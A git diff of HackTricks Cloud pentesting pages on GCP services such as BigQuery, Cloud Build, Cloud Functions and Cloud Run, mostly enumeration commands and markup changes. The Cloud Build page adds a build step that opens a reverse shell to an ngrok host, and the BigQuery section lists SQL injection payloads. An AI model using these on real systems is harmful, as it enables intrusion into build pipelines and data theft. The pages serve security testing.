+- **Remote Repository** (if available): Acts as a proxy for **caching artifacts from external**, public repositories. It helps prevent issues from dependencies changing upstream and reduces latency by caching frequently accessed artifacts.
+- **Virtual Repository** (if available): Provides a **unified interface to access multiple (standard or remote) repositories** through a single endpoint, simplifying client-side configuration and access management for artifacts spread across various repositories.
+  - For a virtual repository you will need to **select repositories and give them a priority** (the repo with the largest priority will be used).
+  - You can **mix remote and standard** repositories in a **virtual** one, if the **priority** of the **remote** is **bigger** than the standard, **packages from remote (PyPi for example) will be used**. This could lead to a **Dependency Confusion.**
 
 Note that in the **Remote version of Docker** it's possible to give a username and token to access Docker Hub. The **token is then stored in the Secret Manager**.
 
@@ -46,8 +33,8 @@ As expected, by default a Google-managed key is used but a Customer-managed key
 
 ### Cleanup Policies
 
-* **Delete artifacts:** Artifacts will be **deleted according to cleanup policy** criteria.
-* **Dry run:** (Default one) Artifacts will **not be deleted**. Cleanup policies will be evaluated, and test delete events sent to Cloud Audit Logging.
+- **Delete artifacts:** Artifacts will be **deleted according to cleanup policy** criteria.
+- **Dry run:** (Default one) Artifacts will **not be deleted**. Cleanup policies will be evaluated, and test delete events sent to Cloud Audit Logging.
 
 ### Vulnerability Scanning
 
@@ -80,39 +67,26 @@ gcloud artifacts docker images list-vulnerabilities projects/<proj-name>/locatio
 
 ### Privilege Escalation
 
-{% content-ref url="../gcp-privilege-escalation/gcp-artifact-registry-privesc.md" %}
-[gcp-artifact-registry-privesc.md](../gcp-privilege-escalation/gcp-artifact-registry-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-privilege-escalation/gcp-artifact-registry-privesc.md
+{{#endref}}
 
 ### Unauthenticated Access
 
-{% content-ref url="../gcp-unauthenticated-enum-and-access/gcp-artifact-registry-unauthenticated-enum.md" %}
-[gcp-artifact-registry-unauthenticated-enum.md](../gcp-unauthenticated-enum-and-access/gcp-artifact-registry-unauthenticated-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-unauthenticated-enum-and-access/gcp-artifact-registry-unauthenticated-enum.md
+{{#endref}}
 
 ### Post-Exploitation
 
-{% content-ref url="../gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md" %}
-[gcp-artifact-registry-post-exploitation.md](../gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md
+{{#endref}}
 
 ### Persistence
 
-{% content-ref url="../gcp-persistence/gcp-artifact-registry-persistence.md" %}
-[gcp-artifact-registry-persistence.md](../gcp-persistence/gcp-artifact-registry-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-persistence/gcp-artifact-registry-persistence.md
+{{#endref}}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-batch-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-batch-enum.md
new file mode 100644
index 000000000..9a8812bad
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-batch-enum.md
@@ -0,0 +1,35 @@
+# GCP - Batch Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+**Google Cloud Platform (GCP) Batch Service** is designed for running **large-scale batch computing workloads**, automating the management, scheduling, and execution of batch jobs across scalable cloud resources. This service simplifies operations and optimizes costs by allowing users to leverage preemptible VMs and integrates seamlessly with other GCP services for comprehensive batch processing workflows. It's ideal for data processing, financial modeling, and scientific simulations.
+
+### Service Account
+
+Although (currently) it's not possible to select the SA that the batch job will be executed with, **it'll use the compute SA** (Editor permissions usually).
+
+## Enumeration
+
+```bash
+# List jobs
+gcloud batch jobs list
+
+# Get job info
+gcloud batch jobs describe <job-name> --location <location>
+
+# List tasks
+gcloud batch tasks list --location <location> --job <job-name>
+
+# Gte info of tasks executions
+gcloud batch tasks describe projects/<proj-number>/locations/<location>/jobs/<job-name>/taskGroups/<group>/tasks/<num>
+```
+
+## Privilege Escalation
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-batch-privesc.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-bigquery-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-bigquery-enum.md
similarity index 64%
rename from pentesting-cloud/gcp-security/gcp-services/gcp-bigquery-enum.md
rename to src/pentesting-cloud/gcp-security/gcp-services/gcp-bigquery-enum.md
index e6154ba77..98db30a8b 100644
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-bigquery-enum.md
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-bigquery-enum.md
@@ -1,19 +1,6 @@
 # GCP - Bigquery Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -97,7 +84,7 @@ bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
 
 ### Columns Access Control
 
-<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (12).png" alt=""><figcaption></figcaption></figure>
 
 To restrict data access at the column level:
 
@@ -109,9 +96,8 @@ To restrict data access at the column level:
 
 When a user tries to access column data at query time, BigQuery **checks the column policy tag and its policy to see whether the user is authorized to access the data**.
 
-{% hint style="success" %}
-As summary, to restrict the access to some columns to some users, you can **add a tag to the column in the schema and restrict the access** of the users to the tag enforcing access control on the taxonomy of the tag.
-{% endhint %}
+> [!TIP]
+> As summary, to restrict the access to some columns to some users, you can **add a tag to the column in the schema and restrict the access** of the users to the tag enforcing access control on the taxonomy of the tag.
 
 To enforce access control on the taxonomy it's needed to enable the service:
 
@@ -121,17 +107,14 @@ gcloud services enable bigquerydatapolicy.googleapis.com
 
 It's possible to see the tags of columns with:
 
-{% code overflow="wrap" %}
 ```bash
 bq show --schema <proj>:<dataset>.<table>
 
 [{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]
 ```
-{% endcode %}
 
 ### Enumeration
 
-{% code overflow="wrap" %}
 ```bash
 # Dataset info
 bq ls # List datasets
@@ -170,7 +153,6 @@ bq show --location=<location> show --format=prettyjson --job=true <job-id>
 # Misc
 bq show --encryption_service_account # Get encryption service account
 ```
-{% endcode %}
 
 ### BigQuery SQL Injection
 
@@ -178,89 +160,70 @@ For further information you can check the blog post: [https://ozguralp.medium.co
 
 **Comments**:
 
-* `select 1#from here it is not working`
-* `select 1/*between those it is not working*/` But just the initial one won't work
-* `select 1--from here it is not working`
+- `select 1#from here it is not working`
+- `select 1/*between those it is not working*/` But just the initial one won't work
+- `select 1--from here it is not working`
 
 Get **information** about the **environment** such as:
 
-* Current user: `select session_user()`
-* Project id: `select @@project_id`
+- Current user: `select session_user()`
+- Project id: `select @@project_id`
 
 Concat rows:
 
-* All table names: `string_agg(table_name, ', ')`
+- All table names: `string_agg(table_name, ', ')`
 
 Get **datasets**, **tables** and **column** names:
 
-* **Project** and **dataset** name:
+- **Project** and **dataset** name:
 
-{% code overflow="wrap" %}
 ```sql
 SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
 ```
-{% endcode %}
 
-* **Column** and **table** names of **all the tables** of the dataset:
+- **Column** and **table** names of **all the tables** of the dataset:
 
-{% code overflow="wrap" %}
 ```sql
 # SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
 
 SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
 ```
-{% endcode %}
 
-* **Other datasets** in the same project:
+- **Other datasets** in the same project:
 
-{% code overflow="wrap" %}
 ```sql
 # SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA
 
 SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA
 ```
-{% endcode %}
 
 **SQL Injection types:**
 
-* Error based - casting: `select CAST(@@project_id AS INT64)`
-* Error based - division by zero: `' OR if(1/(length((select('a')))-1)=1,true,false) OR '`
-* Union based (you need to use ALL in bigquery): `UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#`
-* Boolean based: ``' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#``
-* Potential time based - Usage of public datasets example: ``SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000``
+- Error based - casting: `select CAST(@@project_id AS INT64)`
+- Error based - division by zero: `' OR if(1/(length((select('a')))-1)=1,true,false) OR '`
+- Union based (you need to use ALL in bigquery): `UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#`
+- Boolean based: `` ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'# ``
+- Potential time based - Usage of public datasets example: `` SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000 ``
 
 **Documentation:**
 
-* All function list: [https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators](https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators)
-* Scripting statements: [https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting](https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting)
+- All function list: [https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators](https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators)
+- Scripting statements: [https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting](https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting)
 
 ### Privilege Escalation & Post Exploitation
 
-{% content-ref url="../gcp-privilege-escalation/gcp-bigquery-privesc.md" %}
-[gcp-bigquery-privesc.md](../gcp-privilege-escalation/gcp-bigquery-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-privilege-escalation/gcp-bigquery-privesc.md
+{{#endref}}
 
 ### Persistence
 
-{% content-ref url="../gcp-persistence/gcp-bigquery-persistence.md" %}
-[gcp-bigquery-persistence.md](../gcp-persistence/gcp-bigquery-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-persistence/gcp-bigquery-persistence.md
+{{#endref}}
 
 ## References
 
-* [https://cloud.google.com/bigquery/docs/column-level-security-intro](https://cloud.google.com/bigquery/docs/column-level-security-intro)
+- [https://cloud.google.com/bigquery/docs/column-level-security-intro](https://cloud.google.com/bigquery/docs/column-level-security-intro)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-bigtable-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-bigtable-enum.md
new file mode 100644
index 000000000..a4bcbbdbc
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-bigtable-enum.md
@@ -0,0 +1,32 @@
+# GCP - Bigtable Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
+
+A fully managed, scalable NoSQL database service for large analytical and operational workloads with up to 99.999% availability. [Learn more](https://cloud.google.com/bigtable).
+
+```bash
+# Cloud Bigtable
+gcloud bigtable instances list
+gcloud bigtable instances describe <instance>
+gcloud bigtable instances get-iam-policy <instance>
+
+## Clusters
+gcloud bigtable clusters list
+gcloud bigtable clusters describe <cluster>
+
+## Backups
+gcloud bigtable backups list --instance <INSTANCE>
+gcloud bigtable backups describe --instance <INSTANCE> <backupname>
+gcloud bigtable backups get-iam-policy --instance <INSTANCE> <backupname>
+
+## Hot Tables
+gcloud bigtable hot-tablets list
+
+## App Profiles
+gcloud bigtable app-profiles list --instance <INSTANCE>
+gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-build-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-build-enum.md
new file mode 100644
index 000000000..387f2272a
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-build-enum.md
@@ -0,0 +1,171 @@
+# GCP - Cloud Build Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+Google Cloud Build is a managed CI/CD platform that **automates software build** and release processes, integrating with **source code repositories** and supporting a wide range of programming languages. It **allows developers to build, test, and deploy code automatically** while providing flexibility to customize build steps and workflows.
+
+Each Cloud Build Trigger is **related to a Cloud Repository or directly connected with an external repository** (Github, Bitbucket and Gitlab).
+
+> [!TIP]
+> I couldn't see any way to steal the Github/Bitbucket token from here or from Cloud Repositories because when the repo is downloaded it's accessed via a [https://source.cloud.google.com/](https://source.cloud.google.com/) URL and Github is not accessed by the client.
+
+### Events
+
+The Cloud Build can be triggered if:
+
+- **Push to a branch**: Specify the branch
+- **Push a new tag**: Specify the tag
+- P**ull request**: Specify the branch that receives the PR
+- **Manual Invocation**
+- **Pub/Sub message:** Specify the topic
+- **Webhook event**: Will expose a HTTPS URL and the request must be authenticated with a secret
+
+### Execution
+
+There are 3 options:
+
+- A yaml/json **specifying the commands** to execute. Usually: `/cloudbuild.yaml`
+  - Only one that can be specified “inline” in the web console and in the cli
+  - Most common option
+  - Relevant for unauthenticated access
+- A **Dockerfile** to build
+- A **Buildpack** to build
+
+### SA Permissions
+
+The **Service Account has the `cloud-platform` scope**, so it can **use all the privileges.** If **no SA is specified** (like when doing submit) the **default SA** `<proj-number>@cloudbuild.gserviceaccount.com` will be **used.**
+
+By default no permissions are given but it's fairly easy to give it some:
+
+<figure><img src="../../../images/image (16).png" alt=""><figcaption></figcaption></figure>
+
+### Approvals
+
+It's possible to config a Cloud Build to **require approvals for build executions** (disabled by default).
+
+### PR Approvals
+
+When the trigger is PR because **anyone can perform PRs to public repositories** it would be very dangerous to just **allow the execution of the trigger with any PR**. Therefore, by default, the execution will only be **automatic for owners and collaborators**, and in order to execute the trigger with other users PRs an owner or collaborator must comment `/gcbrun`.
+
+<figure><img src="../../../images/image (339).png" alt="" width="563"><figcaption></figcaption></figure>
+
+### Connections & Repositories
+
+Connections can be created over:
+
+- **GitHub:** It will show an OAuth prompt asking for permissions to **get a Github token** that will be stored inside the **Secret Manager.**
+- **GitHub Enterprise:** It will ask to install a **GithubApp**. An **authentication token** from your GitHub Enterprise host will be created and stored in this project as a S**ecret Manager** secret.
+- **GitLab / Enterprise:** You need to **provide the API access token and the Read API access toke**n which will stored in the **Secret Manager.**
+
+Once a connection is generated, you can use it to **link repositories that the Github account has access** to.
+
+This option is available through the button:
+
+<figure><img src="../../../images/image (17).png" alt=""><figcaption></figcaption></figure>
+
+> [!TIP]
+> Note that repositories connected with this method are **only available in Triggers using 2nd generation.**
+
+### Connect a Repository
+
+This is not the same as a **`connection`**. This allows **different** ways to get **access to a Github or Bitbucket** repository but **doesn't generate a connection object, but it does generate a repository object (of 1st generation).**
+
+This option is available through the button:
+
+<figure><img src="../../../images/image (18).png" alt=""><figcaption></figcaption></figure>
+
+### Storage
+
+Sometimes Cloud Build will **generate a new storage to store the files for the trigger**. This happens for example in the example that GCP offers with:
+
+```bash
+git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
+  cd cloud-console-sample-build && \
+  gcloud builds submit --config cloudbuild.yaml --region=global
+```
+
+A Storage bucket called [security-devbox_cloudbuild](https://console.cloud.google.com/storage/browser/security-devbox_cloudbuild;tab=objects?forceOnBucketsSortingFiltering=false&project=security-devbox) is created to store a `.tgz` with the files to be used.
+
+### Get shell
+
+```yaml
+steps:
+  - name: bash
+    script: |
+      #!/usr/bin/env bash
+      bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
+options:
+  logging: CLOUD_LOGGING_ONLY
+```
+
+Install gcloud inside cloud build:
+
+```bash
+# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
+curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
+mkdir -p /usr/local/gcloud
+tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
+/usr/local/gcloud/google-cloud-sdk/install.sh
+```
+
+### Enumeration
+
+You could find **sensitive info in build configs and logs**.
+
+```bash
+# Get configured triggers configurations
+gcloud builds triggers list # Check for the words github and bitbucket
+gcloud builds triggers describe <trigger-name>
+
+# Get build executions
+gcloud builds list
+gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
+gcloud builds log <build-uuid> # Get build logs
+
+# List all connections of each region
+regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
+for region in $regions; do
+    echo "Listing build connections in region: $region"
+    connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
+    if [[ ${#connections[@]} -eq 0 ]]; then
+        echo "No connections found in region $region."
+    else
+        for connection in $connections; do
+            echo "Describing connection $connection in region $region"
+            gcloud builds connections describe "$connection" --region="$region"
+            echo "-----------------------------------------"
+        done
+    fi
+    echo "========================================="
+done
+
+# List all worker-pools
+regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
+for region in $regions; do
+    echo "Listing build worker-pools in region: $region"
+    gcloud builds worker-pools list --region="$region"
+    echo "-----------------------------------------"
+done
+```
+
+### Privilege Escalation
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-cloudbuild-privesc.md
+{{#endref}}
+
+### Unauthenticated Access
+
+{{#ref}}
+../gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md
+{{#endref}}
+
+### Post Exploitation
+
+{{#ref}}
+../gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-functions-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-functions-enum.md
new file mode 100644
index 000000000..6e808a158
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-functions-enum.md
@@ -0,0 +1,108 @@
+# GCP - Cloud Functions Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Cloud Functions <a href="#reviewing-cloud-functions" id="reviewing-cloud-functions"></a>
+
+[Google Cloud Functions](https://cloud.google.com/functions/) are designed to host your code, which **gets executed in response to events**, without necessitating the management of a host operating system. Additionally, these functions support the storage of environment variables, which the code can utilize.
+
+### Storage
+
+The Cloud Functions **code is stored in GCP Storage**. Therefore, anyone with **read access over buckets** in GCP is going to be able to **read the Cloud Functions code**.\
+The code is stored in a bucket like one of the following:
+
+- `gcf-sources-<number>-<region>/<function-name>-<uuid>/version-<n>/function-source.zip`
+- `gcf-v2-sources-<number>-<region>/<function-name>function-source.zip`
+
+For example:\
+`gcf-sources-645468741258-us-central1/function-1-003dcbdf-32e1-430f-a5ff-785a6e238c76/version-4/function-source.zip`
+
+> [!WARNING]
+> Any user with **read privileges over the bucket** storing the Cloud Function could **read the executed code**.
+
+### Artifact Registry
+
+If the cloud function is configured so the executed Docker container is stored inside and Artifact Registry repo inside the project, anyway with read access over the repo will be able to download the image and check the source code. For more info check:
+
+{{#ref}}
+gcp-artifact-registry-enum.md
+{{#endref}}
+
+### SA
+
+If not specified, by default the **App Engine Default Service Account** with **Editor permissions** over the project will be attached to the Cloud Function.
+
+### Triggers, URL & Authentication
+
+When a Cloud Function is created the **trigger** needs to be specified. One common one is **HTTPS**, this will **create an URL where the function** can be triggered via web browsing.\
+Other triggers are pub/sub, Storage, Filestore...
+
+The URL format is **`https://<region>-<project-gcp-name>.cloudfunctions.net/<func_name>`**
+
+When the HTTPS tigger is used, it's also indicated if the **caller needs to have IAM authorization** to call the Function or if **everyone** can just call it:
+
+<figure><img src="../../../images/image (19).png" alt=""><figcaption></figcaption></figure>
+
+### Inside the Cloud Function
+
+The code is **downloaded inside** the folder **`/workspace`** with the same file names as the ones the files have in the Cloud Function and is executed with the user `www-data`.\
+The disk **isn't mounted as read-only.**
+
+### Enumeration
+
+```bash
+# List functions
+gcloud functions list
+gcloud functions describe <func_name> # Check triggers to see how is this function invoked
+gcloud functions get-iam-policy <func_name>
+
+# Get logs of previous runs. By default, limits to 10 lines
+gcloud functions logs read <func_name> --limit [NUMBER]
+
+# Call a function
+curl https://<region>-<project>.cloudfunctions.net/<func_name>
+gcloud functions call <func_name> --data='{"message": "Hello World!"}'
+
+# If you know the name of projects you could try to BF cloud functions names
+
+# Get events that could be used to trigger a cloud function
+gcloud functions event-types list
+
+# Access function with authentication
+curl -X POST https://<region>-<project>.cloudfunctions.net/<func_name> \
+-H "Authorization: bearer $(gcloud auth print-identity-token)" \
+-H "Content-Type: application/json" \
+-d '{}'
+```
+
+### Privilege Escalation
+
+In the following page, you can check how to **abuse cloud function permissions to escalate privileges**:
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
+{{#endref}}
+
+### Unauthenticated Access
+
+{{#ref}}
+../gcp-unauthenticated-enum-and-access/gcp-cloud-functions-unauthenticated-enum.md
+{{#endref}}
+
+### Post Exploitation
+
+{{#ref}}
+../gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
+{{#endref}}
+
+### Persistence
+
+{{#ref}}
+../gcp-persistence/gcp-cloud-functions-persistence.md
+{{#endref}}
+
+## References
+
+- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-run-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-run-enum.md
new file mode 100644
index 000000000..49b68e259
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-run-enum.md
@@ -0,0 +1,111 @@
+# GCP - Cloud Run Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Cloud Run <a href="#reviewing-cloud-run-configurations" id="reviewing-cloud-run-configurations"></a>
+
+Cloud Run is a serverless managed compute platform that lets you **run containers** directly on top of Google's scalable infrastructure.
+
+You can run your container or If you're using Go, Node.js, Python, Java, .NET Core, or Ruby, you can use the [source-based deployment](https://cloud.google.com/run/docs/deploying-source-code) option that **builds the container for you.**
+
+Google has built Cloud Run to **work well together with other services on Google Cloud**, so you can build full-featured applications.
+
+### Services and jobs <a href="#services-and-jobs" id="services-and-jobs"></a>
+
+On Cloud Run, your code can either run continuously as a _**service**_ or as a _**job**_. Both services and jobs run in the same environment and can use the same integrations with other services on Google Cloud.
+
+- **Cloud Run services.** Used to run code that responds to web requests, or events.
+- **Cloud Run jobs.** Used to run code that performs work (a job) and quits when the work is done.
+
+## Cloud Run Service
+
+Google [Cloud Run](https://cloud.google.com/run) is another serverless offer where you can search for env variables also. Cloud Run creates a small web server, running on port 8080 inside the container by default, that sits around waiting for an HTTP GET request. When the request is received, a job is executed and the job log is output via an HTTP response.
+
+### Relevant details
+
+- By **default**, the **access** to the web server is **public**, but it can also be **limited to internal traffic** (VPC...)\
+  Moreover, the **authentication** to contact the web server can be **allowing all** or to **require authentication via IAM**.
+- By default, the **encryption** uses a **Google managed key**, but a **CMEK** (Customer Managed Encryption Key) from **KMS** can also be **chosen**.
+- By **default**, the **service account** used is the **Compute Engine default one** which has **Editor** access over the project and it has the **scope `cloud-platform`.**
+- It's possible to define **clear-text environment variables** for the execution, and even **mount cloud secrets** or **add cloud secrets to environment variables.**
+- It's also possible to **add connections with Cloud SQL** and **mount a file system.**
+- The **URLs** of the services deployed are similar to **`https://<svc-name>-<random>.a.run.app`**
+- A Run Service can have **more than 1 version or revision**, and **split traffic** among several revisions.
+
+### Enumeration
+
+```bash
+# List services
+gcloud run services list
+gcloud run services list --platform=managed
+gcloud run services list --platform=gke
+
+# Get info of a service
+gcloud run services describe --region <region> <svc-name>
+
+# Get info of all the services together
+gcloud run services list --format=yaml
+gcloud run services list --platform=managed --format=json
+gcloud run services list --platform=gke --format=json
+
+# Get policy
+gcloud run services get-iam-policy --region <region> <svc-name>
+
+# Get revisions
+gcloud run revisions list --region <region>
+gcloud run revisions describe --region <region> <revision>
+
+# Get domains
+gcloud run domain-mappings list
+gcloud run domain-mappings describe <name>
+
+# Attempt to trigger a job unauthenticated
+curl <url>
+
+# Attempt to trigger a job with your current gcloud authorization
+curl -H "Authorization: Bearer $(gcloud auth print-identity-token)" <url>
+```
+
+## Cloud Run Jobs
+
+Cloud Run jobs are be a better fit for **containers that run to completion and don't serve requests**. Jobs don't have the ability to serve requests or listen on a port. This means that unlike Cloud Run services, jobs should not bundle a web server. Instead, jobs containers should exit when they are done.
+
+### Enumeration
+
+```bash
+gcloud beta run jobs list
+gcloud beta run jobs describe --region <region> <job-name>
+gcloud beta run jobs get-iam-policy --region <region> <job-name>
+```
+
+## Privilege Escalation
+
+In the following page, you can check how to **abuse cloud run permissions to escalate privileges**:
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-run-privesc.md
+{{#endref}}
+
+## Unauthenticated Access
+
+{{#ref}}
+../gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md
+{{#endref}}
+
+## Post Exploitation
+
+{{#ref}}
+../gcp-post-exploitation/gcp-cloud-run-post-exploitation.md
+{{#endref}}
+
+## Persistence
+
+{{#ref}}
+../gcp-persistence/gcp-cloud-run-persistence.md
+{{#endref}}
+
+## References
+
+- [https://cloud.google.com/run/docs/overview/what-is-cloud-run](https://cloud.google.com/run/docs/overview/what-is-cloud-run)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-scheduler-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-scheduler-enum.md
new file mode 100644
index 000000000..71d199dc8
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-scheduler-enum.md
@@ -0,0 +1,46 @@
+# GCP - Cloud Scheduler Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
